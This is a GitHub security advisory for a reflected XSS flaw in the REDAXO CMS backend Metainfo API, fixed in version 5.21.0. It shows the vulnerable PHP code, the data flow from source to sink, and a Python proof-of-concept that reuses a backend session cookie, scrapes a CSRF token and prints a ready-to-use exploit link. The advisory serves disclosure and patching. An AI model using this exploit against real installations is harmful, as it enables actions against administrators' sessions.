GitHub Advisoryadvisory · Packagist
GHSA-m662-8jrj-cw6v REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)
LOW
Official page ↗
- Ecosystem
- Packagist
- Packages
- redaxo/source
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-04-10
Affected packages
• Packagist redaxo/source: < 5.21.0 → fixed in 5.21.0
Description
Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The `type` parameter is concatenated into an API error message and rendered without HTML escaping.
---
Details
Root cause
User input `type` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.
Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) :
```php
$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));
```
Sink (`redaxo/src/core/lib/view.php`) :
```php
return '' . $message . '';
```
Data flow source -> sink
• Source : `type` (GET)
• Propagation : concatenated into the exception message
• Sink : rendered via `rex_view::error()` -> `rex_view::message()` without escaping
Authentication required : yes (backend session)
---
PoC - exploit
```python
!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\">'
def build_backend_url() -> str:
base = TARGET_URL.rstrip("/")
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
if not m:
raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
fragment = m.group(0).replace("&", "&")
token_match = re.search(r"_csrf_token=([^&]+)", fragment)
if not token_match:
raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
return token_match.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Admin backend session required
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "metainfo/articles",
"rex-api-call": "metainfo_default_fields_create",
"type": PAYLOAD,
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
```
The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.
---
Impact
• Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
• Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
• Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Video
https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83
Related
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness